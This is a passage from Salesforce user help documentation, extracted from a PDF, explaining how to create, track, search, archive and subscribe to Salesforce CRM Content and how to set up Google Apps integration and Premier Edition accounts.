5. Select Notify Me of First View or Download if you want to receive an email the first time your recipient clicks the content-delivery URL. 6. If the content you are delivering is time-sensitive, select the Remove Access to Content on checkbox and enter an expiration date. By default, the expiration date is 90 days from the current date. After creating your content delivery, you can change the expiration date at any time on the delivery detail page. 7. Optionally, select Require a Password to Access Content. When you create the content delivery you will receive a password to include with the delivery URL that you send to your recipients. The password is available for the life of the delivery on the delivery detail page. 8. Optionally, use the lookup to associate your content delivery with a Salesforce record. The record you were viewing when you clicked Deliver Content is selected by default. 9. Click Save & Next. Your delivery will usually be ready within a few moments, but you can click Notify Me to exit the content delivery wizard and be notified via email when your content delivery is ready. 10. If you did not exit the content delivery wizard, click Preview to verify that you are satisfied with the delivery. Important: Formatting in the original file may not display correctly in the online version. If you chose Allow Recipient to View in the Browser, preview your content delivery before sending its URL to your recipients. If you are not happy with the quality of the online version, click Previous and choose to make your content available in its original file format or a PDF only. 11. Copy and paste the delivery URL and, if applicable, its password into an email or instant message for delivery. The URL is available on the delivery detail page. For more information, see Viewing and Editing Content Deliveries on page 309.

See Also:
Using the Content Deliveries Related List Setting up Content Deliveries Salesforce CRM Content Overview

308

Salesforce CRM Content

Viewing and Editing Content Deliveries

Viewing and Editing Content Deliveries


Available in: All Editions except Database.com Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the delivery detail page: Access to the associated content details page in Salesforce CRM Content OR Access to the record associated with the content delivery To edit, expire, or delete a content delivery: Owner of the record OR Modify all Data

On the Content Deliveries related list or the Content Deliveries list page, click the name of a content delivery to open the detail page. Viewing Content Delivery Details The delivery detail page provides all the information associated with a content delivery, including the URL required to access the content delivery, the number of times the delivery has been viewed, and the delivery settings. For a description of each field, see Content Delivery Fields on page 1511. Editing Content Delivery Details Click Expire Now to immediately remove access to the content delivery. Click Edit to modify details such as the delivery methods, expiration date, or the record the delivery is associated with. For a description of each field, see Content Delivery Fields on page 1511. Deleting Content Deliveries Click Delete to remove access to the content delivery and delete the delivery record from Salesforce. Salesforce CRM Content users cannot delete files that are associated with a content delivery until the content delivery is deleted. Tracking Content Deliveries Each time a content delivery's URL is opened, Salesforce records the event as a view. The Views related list on the content delivery detail page lists every view associated with the delivery. Information about the view includes the date and time, whether the view was by an internal (Salesforce) user, and whether the view included a download. If the content

309

Salesforce CRM Content

Searching for Content

delivery provided the ability to download the file in its original file format or as a PDF file, the File Downloaded flag indicates that a download occurred, but you cannot distinguish between file types.

See Also:
Creating Content Deliveries Using the Content Deliveries Related List

Searching for Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To search Salesforce CRM Content:


Salesforce CRM Content User checked in your personal

information AND Member of the library

Clicking the Content tab displays files, content packs, Web links, and Google docs published in your Salesforce CRM Content libraries. If Chatter is enabled, and your administrator has enabled the setting to show Chatter files in Salesforce CRM Content, files posted to Chatter groups and other Chatter files that aren't private or privately shared, are also displayed on the Content tab. The top twenty most recently modified items are listed by default. You can filter the list using the Filter Your Results sidebar. To search for specific content: 1. From the Search drop-down list, restrict your search to a specific library or choose to search in all libraries. If available, restrict your search to just Chatter files or just files in Chatter groups you're a member of. Tip: To display all the locations where the content appears, click Display Options and select Display Locations. The locations are listed under each title. 2. Enter your search term(s) and click Go!. Salesforce CRM Content performs a full-text search of the following document types: rich text format (RTF), UTF-8 encoded TXT, HTML, XML, Adobe PDF, and Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard searches (*) are not supported. 3. If multi-language support is enabled, you can restrict your search to a specific language. By default, Salesforce CRM Content searches all the content in your libraries that is published in your default user language. Searching in all languages also searches the titles, author names, tags, file extensions, and custom fields of content in all languages. Note: Searching in all languages does not search the text or description of documents that were published in languages other than your default user language.

310

Salesforce CRM Content

Searching for Content

4. Optionally, in the Filter Your Results sidebar, filter your search results by file format, featured content, author, tag, libraries, language, custom field, or Chatter group (if available). The number in parentheses next to each filter type shows you how many matching files, content packs, Web links, and Google docs are in the search results. The Content tab provides several options: Click Display Options to customize your view by adding sortable columns for various content criteria (such as Size and Publication Date), or choosing to display descriptions, tags and locations. Display Locations shows the libraries and Chatter groups where the content appears. My Libraries: none or My Chatter Groups: none means that the file is a Chatter file and is not part of any libraries or Chatter groups. The smart bar graphic for downloads, comments, ratings, and subscribers allows you to compare files, content packs, Google docs, and links within a search result set. Note: Chatter groups are only included in Display Locations if Chatter is enabled, and your administrator has enabled the setting to show Chatter files in Salesforce CRM Content. Select one or more files and click Download to create a zip file with your selected content. Web links and Google docs cannot be included in zip files. Hover over a file icon to see a snapshot of information about the specific file, content pack, Google doc, or Web link and options such as subscribing, voting, and downloading. Click the subscription icon next to the file name to toggle a subscription on or off. For more information, see Viewing and Editing Content Subscriptions on page 316. Click the file name to view the content details page. The content details page provides all the available information about a file, content pack, Google doc, or link. For more information, see Viewing and Editing Content Details on page 312.

Search supports several file types and has limits on file sizes. If a file exceeds the maximum size, the text within the file isn't searched, but the file's author name, tags, file extension, and custom fields are. File Type HTML PDF PPT RTF Text Word XML XLS File Extensions
.htm, .html, .xhtml .pdf .ppt, .pptx, .pptm .rtf .c, .cpp, .css, .csv, .ini, .java, .log, .sql, .txt .doc, .docx, .docm .xml .xls, .xlsx, .xlsm

Maximum File Size for Text Within the File to be Searchable 5 MB 25 MB 25 MB 5 MB 5 MB 25 MB 5 MB 5 MB

See Also:
Deleting, Archiving, and Restoring Content Uploading and Publishing Content Managing Libraries

311

Salesforce CRM Content

Viewing and Editing Content Details

Viewing and Editing Content Details


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To preview and download shared content: To preview and download private content: To upload a new version: To archive and restore content: Member of the library None
Add Content checked in your library permission definition Archive Content checked in your library permission

definition OR Author of the content To permanently delete content: To view and edit comments: To delete comments: To tag content: To mark content as featured: To deliver content from a shared library: To deliver content from a personal library: To post content from a library to a Chatter feed:
Delete Content checked in your library permission

definition
Modify Comments checked in your library permission

definition
Delete Comments checked in your library permission

definition
Tag Content checked in your library permission definition Feature Content checked in your library permission

definition
Deliver Content checked in your library permission

definition
Deliver Uploaded Files and Personal Content

checked in your library permission definition


Post Content to Chatter Feeds checked in your library

permission definition

Clicking a file name on the Libraries, Content, or Subscriptions tabs opens the content details page, which is a central access point to preview content and gather information about a particular file, Web link, content pack, or Google doc in Salesforce CRM Content. Starting with the Summer '10 release, if Chatter is enabled for your organization, files posted to Chatter are also listed. The Preview tab displays if your file is one of the following types: Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007 features don't display correctly in previews. Adobe PDF. Copy-protected PDFs can't be previewed. JPG, BMP, GIF, and PNG

312

Salesforce CRM Content

Viewing and Editing Content Details

The following options are available on the content details page depending on the type of content you are viewing, your library permissions, and whether the content is in a public or private library, or from Chatter: Click the thumbs up or thumbs down icon to vote for the file, Web link, content pack, or Google doc. To change your vote, click the opposite icon. After you cast a vote, the Recent Activity list on the Libraries tab indicates whether you like or dislike the content. Click Deliver Content to create a content delivery. Click Deliver Content > Show Content Deliveries to view a list of deliveries associated with the content. For Web links or Google docs, click the Open button to open the Web page in a separate window. For files, click the Download button to open or save the file. Click Subscribe or Subscribed to toggle your subscription on or off. For content packs, click Clone & Customize to create a new pack by adding or removing files and slides. Salesforce CRM Content saves or publishes your customized pack as new content, not a version of the pack you copied. Click Edit > Edit Content Details to modify standard and custom fields. Click Edit > Edit Content Pack to create a new version of a content pack by adding or removing files. For files, click Edit > Upload New Version to replace the file with a new version. The version option is not available for Web links, content packs, or Google docs. Note: If the Add New Version button is grayed out, your organization has exceeded its file storage allowance and new content cannot be uploaded. Click Edit > Archive Content to remove the file, Web link, content pack, or Google doc from the library. Authors can archive and restore their own content regardless of library permissions.If a file is in Salesforce CRM Content and also posted in Chatter, archiving it doesn't remove the Chatter post. Click Edit > Delete Content to delete the file, Web link, content pack, or Google doc from Salesforce CRM Content by moving it to the Recycle Bin. Authors can delete and undelete their own content regardless of library permissions. Deleting a Google doc removes the doc's association with Salesforce CRM Content but does not delete the doc in Google Apps. You cannot delete a file that is included in a content pack or content delivery. Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from Chatter. Click Edit > Library Actions and choose Move to Another Library to move the content to a different managing (or home) library. Choose Share to Another Library to share content into additional libraries without changing the managing library. Sharing or linking content to other libraries enables members of those libraries to find your content. If the managing library and shared library have different tagging rules, the most restrictive tagging rule applies. If you want to remove content from a library where the content is shared, click Remove from Libraries. This option does not remove content from its managing library Click the Comments subtab to view, add, edit, or delete comments. Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors. Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file. Download data is not available for Web links or Google docs. Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file, Web link, or Google doc. To subscribe to an author, click the drop-down button next to the author's name. To subscribe to a library, click the drop-down button next to the library name. Click a tag name to view all the content associated with that tag. Click the arrow next to the tag to remove the tag or to subscribe to all content with that tag. To add a new tag, enter a tag name in the Add Tags field and click Save. As you type a tag, Salesforce CRM Content autosuggests tags based on the tags in your My Recent Tags list in the Save or Publish window and the Popular Tags section on the Libraries tab.

313

Salesforce CRM Content

Deleting, Archiving, and Restoring Content

Note: If your administrator applied a library tagging rule, you may not be able to enter new tags. If the guided tagging rule is applied, you can click Add Tags and choose from the list of suggested tags or enter new tags. If the restricted library tagging rule is applied, you can click Add Tags and choose from the list of suggested tags, but you cannot enter your own tags. Click the author's name to see a list of the author's published content. Click the arrow next to the author's name and choose Subscribe to Author to subscribe to all content published by that author. Click Feature or Don't Feature to toggle the feature designation on or off. Featured content receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at the top of the search results list. Featured content is also listed on the library overview and library detail pages for quick access. Click a library name to view details about the library. Click the arrow next to the library name and choose Subscribe to Library to subscribe to all content in the library or Show Library Content to view a list of all files, content packs, Web links, and Google docs published to the library.

See Also:
Updating Content Versions Deleting, Archiving, and Restoring Content Searching for Content

Deleting, Archiving, and Restoring Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To archive and restore any content in the library: To archive and restore content that you published: To delete content:
Archive Content checked in your library permission

definition
Add Content checked in your library permission definition Delete Content checked in your library permission

definition

Salesforce CRM Content offers two methods for removing content: archiving and deleting. Archiving a piece of content removes it from its library but does not permanently delete it from Salesforce CRM Content. Once archived, content cannot be downloaded and it does not appear in search results, but you can locate and restore it if necessary. Deleted content, however, is permanently deleted from Salesforce CRM Content when the Recycle Bin is emptied. Note: If you delete a content pack, you do not delete the individual files within the pack; only the pack (container) is deleted. Files that are included in a content pack or content delivery cannot be deleted until the pack or delivery is deleted. To archive or delete content:

314

Salesforce CRM Content

Deleting, Archiving, and Restoring Content

1. Click the file name on the Libraries, Content, or Subscriptions tabs. 2. On the content details page, click Archive Content or Delete Content. Note: Authors can always archive and restore their own content. Authors do not require the Archive Content library permission option. If a file is in Salesforce CRM Content and also posted in Chatter, archiving it doesn't remove the Chatter post. Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from Chatter.

To restore archived content, open the content details page and click Restore Content. You can use any of the following methods to open the content details page for an archived piece of content: Follow a bookmark to the archived content. In the Libraries tab, click a library name to open the library details page. Click the View Archived Content link to see a list of archived content on the Content tab. The View Archived Content link only displays if you have the Archive Content, Add Content, or Manage Libraries privileges in your library permission. If you have the Archive Content or Manage Libraries privileges, you will see a list of all archived content in the library, regardless of author. If you do not have those privileges but have the Add Content privilege, you will only see archived content that you authored and archived. Click the content you want to restore to open the content details page.

To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete. Note: Archived and deleted files are automatically removed from subscription lists. Subscribers are not notified when content is archived or deleted.

See Also:
Uploading and Publishing Content Updating Content Versions Viewing and Editing Content Details Viewing and Editing Content Deliveries

315

Salesforce CRM Content

Viewing and Editing Content Subscriptions

Viewing and Editing Content Subscriptions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To subscribe to content:


Salesforce CRM Content User checked in your personal

information AND Member of the library

Clicking the Subscriptions tab displays the Subscriptions home page, where you can view your Salesforce CRM Content subscriptions and toggle them off or on. Note: To subscribe to a file, content pack, Web link, or Google doc, view its content details page and click Not Subscribed. From the content details page you can also subscribe to a tag, author, or library by using the drop-down menus next to the tag, author, or library name. On the Subscriptions tab, click the Content, Tags, Authors, or Libraries subtabs to view your subscriptions. Depending on your notification settings, you are notified of changes to your subscribed content via real-time emails or a once-daily email. Tip: To configure your notification settings, go to Your Name > Setup > My Personal Information and click Edit. Choose Receive Salesforce CRM Content email alerts. If you want to receive a once-daily summary rather than real-time email alerts, also select Receive Salesforce CRM Content emails as daily digest. Subscriptions generate the following notifications: If you subscribe to a file, you are notified when a viewer adds comments to the file or when a new version of the file is published. If you subscribe to a Web link or Google doc, you are notified when comments are added but not when the link is changed or the doc is edited. If you subscribe to a content pack you are notified when a new version of the pack is published. Unless you are subscribed to the individual files within a content pack, you are not notified when new versions of the files are published. If you subscribe to a tag, you are notified of any newly published content that is associated to the subscribed tag. To be notified that new versions of the tagged content are available, subscribe to the content. If you subscribe to an author, you are notified when the author publishes new content. To be notified that new versions of an author's content are available, subscribe to the content. If you subscribe to a library, you are notified when new content is added to the library, including existing content that has been newly linked to your subscribed library. To be notified that new versions of the library content are available, subscribe to the content.

See Also:
Searching for Content Viewing and Editing Content Details Managing Libraries

316

Salesforce CRM Content

Updating Content Versions

Updating Content Versions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add a new version:


Add Content checked in your library permission definition

Clicking a file name on any Salesforce CRM Content tab opens the content details page.

Publishing a New Version


To publish a new version of the file and update its properties: 1. Click Edit > Upload New Version. This option does not appear for Web links, content packs, or Google docs. To add or remove files from a content pack, see Creating and Modifying Content Packs in Salesforce CRM Content on page 304. 2. Click Browse to find and select the updated file. 3. As needed, update the Title and Description fields. 4. Fill out the Reason for change field. This text is included on the email notifications sent to subscribers and the version list located on the content details page. 5. To publish the content on behalf of another author, choose that author from the drop-down list. 6. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

7. Update any custom fields as needed. 8. Click Publish.

Notes on Content Versions


Consider the following information when creating or modifying a new version: You cannot edit a file within Salesforce CRM Content. To edit a file, download it from Salesforce CRM Content to your computer, make your changes, then upload the updated version using the Upload New Version button. The Versions subtab on the content details page lists all content versions. The Recent Activity list on the Libraries tab also notifies users of new content versions.

317

Salesforce CRM Content

Finding Salesforce CRM Content

Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000 new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per 24hour period.

See Also:
Deleting, Archiving, and Restoring Content Searching for Content Viewing and Editing Content Details

Finding Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions To access Salesforce CRM Content:


Salesforce CRM Content User checked in your personal

information AND Member of the library

If your organization has Salesforce CRM Content enabled, you can take advantage of Salesforce CRM Content functionality on detail pages for leads, accounts, contacts, opportunities, products, cases, or custom objects. The Related Content related list allows you to search for files, content packs, Web links, or Google docs and attach them to the record. When you attach a file, the latest version will be available for the life of the record unless the file is removed. From the Related Content related list, you can: Click the content's title to view the content details page where you can perform several tasks, such as commenting and voting on content, downloading files, opening Web pages and Google docs, and subscribing to content, authors, tags, or libraries. For more information, see Viewing and Editing Content Details on page 312. Click Del next to a piece of content to remove it from the record. This does not delete the content from the Salesforce CRM Content library. If content deliveries are enabled in your organization, click Deliver Content to create a content delivery. A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. For more information, see Creating Content Deliveries on page 307. Search for related content: 1. Click Find Content or Search All. In both cases, Salesforce CRM Content searches within the libraries that you have access to. If you click Search All, the search results display all the content in your libraries. For the Find Content search,

318

Salesforce CRM Content

Finding Salesforce CRM Content

your search results contain content that is relevant to the record; Salesforce CRM Content searches for content with text or attributes that match the following fields: On an opportunity, the Opportunity Name, Account Name, and all competitors and products. On an account, the Account Name and Industry. On a case, the Case Reason, Subject, Account Name, and Industry. On a lead, the Name, Company, Industry, and Title. Note: On a custom object, clicking Find Content returns search results that contain the full custom object name in the document's text or attributes. If no content meets this criterion, the search results will be empty and a Search All search should be used instead. 2. On the search results page, filter your results as needed by entering search terms or selecting filter criteria from the sidebar. 3. Click Attach for any file that you want to attach to the record. 4. Click the Back link to return to the detail page.

See Also:
Salesforce CRM Content Overview Customizing Salesforce CRM Content Viewing and Editing Content Details Uploading and Publishing Content

Using the Content Related List


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access Salesforce CRM Content:


Salesforce CRM Content User checked in your personal

information

The Content related list on a record detail page includes links to all of the content that has been associated with that record in Salesforce CRM Content. Click the file name to open the content details page. Only Salesforce CRM Content users who are members of the library where the content was published can see the published file in the Content related list. For example, if you select the Big Deal opportunity when publishing BigDealStrategy.doc into the Sales Collateral library, the Content related list on the Big Deal opportunity includes a link to BigDealStrategy.doc only for members of the Sales Collateral library. Users who are not members of that library do not see the link.

319

Salesforce for Google Apps

Google Apps Overview

You can use the Related Content related list to access Salesforce CRM Content from leads, accounts, contacts, opportunities, products, cases, or custom objects. For more information, see Finding Salesforce CRM Content on page 318.

See Also:
Salesforce CRM Content Overview Finding Salesforce CRM Content

SALESFORCE FOR GOOGLE APPS


Google Apps Overview
Available in: All Editions except Database.com Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business users. Salesforce integrates key Google Apps services and provides several AppExchange apps that enhance and customize Google-related functionality. To set up a Google Apps account for your organization, activate services, and create individual Google Apps accounts for your Salesforce users, see Getting Started with Salesforce and Google Apps on page 322. The following services for Google Apps are integrated with Salesforce and require a simple activation by a Salesforce administrator: Add Google Docs to Salesforce Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and work together in real time with other collaborators. When the Add Google Docs to Salesforce service is activated, you can: Use the Google Docs, Notes, & Attachments or Google Docs & Attachments related list on any Salesforce record to create, edit, or view Google docs and associate them to a record. Share a Google doc with any Google Apps user in your organization. Associate Google docs with Salesforce records even when you are not working in Salesforce by using the Add Google Doc to Salesforce browser button. Add Google docs to Salesforce CRM Content, which allows you to manage all types of content in a centralized location.

Gmail to Salesforce Gmail is a Web-based email application that operates on all standard browsers and can be used with your company's domain. Use Gmail to Salesforce to automatically log emails you send from your Gmail account as activities on lead and contact records in Salesforce. Gmail Buttons and Links Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce

320

Salesforce for Google Apps

Google Apps Overview

automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is activated, Salesforce also populates the BCC field with your Email to Salesforce address.

Implementation Tips
For detailed information about Google Apps, refer to Google's online help. Google Apps in Salesforce is available for Google business accounts but not consumer accounts. You can identify a consumer account by the gmail.com domain in an email address; for example, myname@gmail.com is a consumer account. The Google Apps domain you set up in Salesforce must be the domain you registered with Google for your organization; for example, mycompany.com is a business rather than consumer account. After creating a Google Apps account for your organization, create Google Apps accounts for your Salesforce users by clicking Export to Google Apps from Your Name > Setup > Manage Users > Users. Notify users of their Google Apps usernames and passwords. Notify users about the changes they will see in Salesforce when Google Apps services are activated. To view all the Google apps available on Force.com AppExchange, visit http://sites.force.com/appexchange. By default, Google Apps users on your organization's domain can share Google docs with Google Apps accounts outside your domain. The control panel for your Google Apps account contains sharing settings that enable you to restrict document sharing to within your domain. When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records, and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs associations in libraries and does not permanently delete Google docs in Recycle Bins. Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot use the Add Google Doc to Salesforce browser button. Customer Portal and partner portal users cannot access Gmail Buttons and Links. If your organization purchased the Salesforce for Google Apps Supported feature, see Getting Started With Salesforce and Google Apps Supported on page 324.

Best Practices
Test your Google Apps integration using a sandbox or Developer Edition organization. Manage Google Apps users as you would Salesforce users. For example, if you deactivate a Salesforce user, also deactivate his or her Google Apps account in the control panel for your organization's Google Apps account. For information about administering your organization's Google Apps account, refer to Google's online help. To locate a Google doc quickly in Salesforce, search for the doc using sidebar search.

See Also:
Getting Started with Salesforce and Google Apps Using Google Docs in Salesforce Using Gmail in Salesforce Using Google Talk in Salesforce

321

Salesforce for Google Apps

Getting Started with Salesforce and Google Apps

Getting Started with Salesforce and Google Apps


Available in: All Editions except Database.com

User Permissions Needed To view and modify Google Apps domain settings: To activate or deactivate Google Apps services: To install or uninstall Force.com AppExchange packages: To export a list of users to Google to create Google Apps accounts: Customize Application Customize Application Download AppExchange packages Customize Application

Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business users. If your organization has a Google Apps account, Salesforce administrators can enable Google Docs, Gmail, and a host of Google-related AppExchange appscustomized for use within Salesforce. For a description of the Google Apps functionality in Salesforce, see Google Apps Overview on page 320.

Step 1: Creating a Google Apps Account


Create a Google Apps account for your organization using one of the following methods: On the Your Name > Setup > Google Apps > Settings page, click Sign Up to launch the account-creation page on the Google website. You are prompted to register your organization's domain name or purchase a new domain name from Google. A domain is the portion of a website's URL that follows the www. Follow Google's steps to configure your new or existing domain and set up your Google Apps account. If your organization purchased the Salesforce and Google Apps Supported feature, click Your Name > Setup > Google Apps > Premier Setup to create a new Google Apps Premier Edition account or upgrade your existing Standard Edition account to Premier Edition. For details, see Getting Started With Salesforce and Google Apps Supported on page 324. Note: Google Apps in Salesforce supports Google Apps business accounts but not consumer accounts. You can identify a consumer account by the gmail.com domain in an email address; for example, myname@gmail.com is a consumer account. The Google Apps domain you set up in Salesforce must be the domain you registered with Google for your organization; for example, mycompany.com is a business rather than consumer account.

Step 2: Configuring Google Apps Domain Settings


1. On the Your Name > Setup > Google Apps > Settings page in Salesforce, click Edit. 2. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 3. Enter the Google Apps Domain that you registered with Google. For example, if your company's URL is http://www.acme.com and you created a Google Apps account for the acme.com domain, enter acme.com in the Google Apps Domain field. 4. Click Save.

322

Salesforce for Google Apps

Getting Started with Salesforce and Google Apps

Step 3: Activating Google Apps Services


1. In the Activate Google Apps Services section on the Your Name > Setup > Google Apps > Settings page, locate the Google Apps service(s) that you want to activate. 2. Click Edit or Install to activate a service. In the Action column, Edit corresponds to Google Apps services that are already integrated in Salesforce, and Install corresponds to uninstalled Force.com AppExchange apps. Integrated Google Apps services include: Add Google Docs to Salesforce Gmail to Salesforce Gmail Buttons and Links Google Talk Sidebar Component Important: Google Talk within Salesforce is no longer available. For alternative ways to use Google Talk, see the Google Talk online help.

For descriptions of the Google-related AppExchange apps, visit http://sites.force.com/appexchange.

Step 4: Creating Google Apps Users


Activating Google Apps services in Salesforce makes the services visible to all users in your organization, but a user cannot access a service unless he or she has a Google Apps account on your organization's domain. The Google Apps administrator registered with Google can create these additional accounts. For more information, see Creating Google Apps Accounts on page 328.

See Also:
Using Google Docs in Salesforce Using Gmail in Salesforce Using Google Talk in Salesforce

323

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Getting Started With Salesforce and Google Apps Supported


Available in: All Editions except Database.com

User Permissions Needed To create a new Google Apps Premier Edition account in Salesforce: Customize Application OR Google Apps Administrative Contact To upgrade Google Apps Standard Edition to Google Apps Customize Application Premier Edition in Salesforce: OR Google Apps Administrative Contact

The Salesforce and Google Apps Supported feature includes a Google Apps Premier Edition account for your organization. In Salesforce, you can create that account or upgrade from an existing Google Apps Standard Edition account to Google Apps Premier Edition. For a description of the Google Apps services available in Salesforce, see Google Apps Overview on page 320. After you create a new Google Apps Premier Edition account or upgrade your existing Google Apps Standard Edition account in Salesforce, the Premier Setup page displays your organization's domain name, the number of Google Apps Premier Edition licenses available to your organization, and, if applicable, the status of your upgrade.

Creating a New Google Apps Premier Edition Account


If your organization does not have a Google Apps account, complete the following steps to register a Google Apps Premier Edition account and enable Salesforce and Google Apps: 1. Click Settings > Google Apps > Premier Setup. 2. Complete the fields in Column A: Field
Domain Name

Description Enter the domain that you want to register as your organization's Google Apps account. For example, if your company's URL is http://www.acme.com, enter acme.com as your Domain Name. This value is used to create the Google Apps administrator for your organization's account. For example, if your Google Apps administrator will be jsmith@acme.com, enter jsmith. After your Google Apps account is created, you

User Name

324

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Field

Description can log in with the User Name and Password and change this value if necessary.

First Name

This value is used to create the Google Apps administrator for your organization's account. After your Google Apps account is created, you can log in with the User Name and Password and change this value if necessary. This value is used to create the Google Apps administrator for your organization's account. After your Google Apps account is created, you can log in with the User Name and Password and change this value if necessary. This email address receives a confirmation notice when your Google Apps Premier Edition account is created. Google does not store this value for any other purpose. The Google Apps administrator can log in to Google Apps with this password. The Google Apps administrator can log in to Google Apps with this password.

Last Name

Email Address

Password

Confirm Password

3. Click Create New Premier Account. 4. To enable Salesforce and Google Apps, click Your Name > Setup > Google Apps > Settings. 5. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 6. Verify that the Google Apps Domain field contains the domain name you registered with Google. 7. Activate Google Apps services in Salesforce. For more information, see Activating Google Apps Services on page 323. 8. Create users for your organization's Google Apps account. For more information, see Creating Google Apps Accounts on page 328. Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses your organization purchased with the Salesforce and Google Apps Supported feature.

Upgrading to a Google Apps Premier Edition Account


Complete the following steps to upgrade your organization's existing Google Apps Standard Edition account to a Google Apps Premier Edition account. 1. Click Your Name > Setup > Google Apps > Premier Setup. 2. Complete the fields in Column B:

325

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Field
Domain Name

Description The domain that you want to register as your organization's Google Apps Premier Edition account. If you already enabled Salesforce and Google Apps, this field is prepopulated with your organization's domain name. The 16-digit token required to upgrade from Google Apps Standard Edition to Google Apps Premier Edition. Your organization's Google Apps administrator can access this information on the Google website. For more information, click Retrieve Google Apps Token in Column B.

Google Apps Token

3. Click Upgrade Existing Account to Premier. 4. To enable Salesforce and Google Apps, click Your Name > Setup > Google Apps > Settings. 5. As needed, edit the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 6. Verify that the Google Apps Domain field contains the domain name you registered with Google. 7. As necessary, activate Google Apps services in Salesforce. For more information, see Activating Google Apps Services on page 323. 8. As necessary, create users for your organization's Google Apps account. For more information, see Creating Google Apps Accounts on page 328. Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses your organization purchased with the Salesforce and Google Apps Supported feature.

See Also:
Google Apps Overview Getting Started with Salesforce and Google Apps

326

Salesforce for Google Apps

Setting Up Google Apps in Salesforce

Setting Up Google Apps in Salesforce


Available in: All Editions except Database.com

User Permissions Needed To edit Google Apps domain settings and activate or deactivate services: To install or uninstall AppExchange packages: Customize Application Download AppExchange packages

Click Your Name > Setup > Google Apps > Settings to edit your Google Apps domain settings, activate or deactivate Google Apps services in Salesforce, or install or uninstall Google-related Force.com AppExchange packages. For a description of Google Apps functionality in Salesforce, see Google Apps Overview on page 320. Important: You cannot use Salesforce and Google Apps until a Google Apps account has been created for your organization and your Google Apps domain settings are configured in Salesforce. For instructions on creating an account and configuring your domain settings, see Getting Started with Salesforce and Google Apps on page 322.

Editing Google Apps Domain Settings


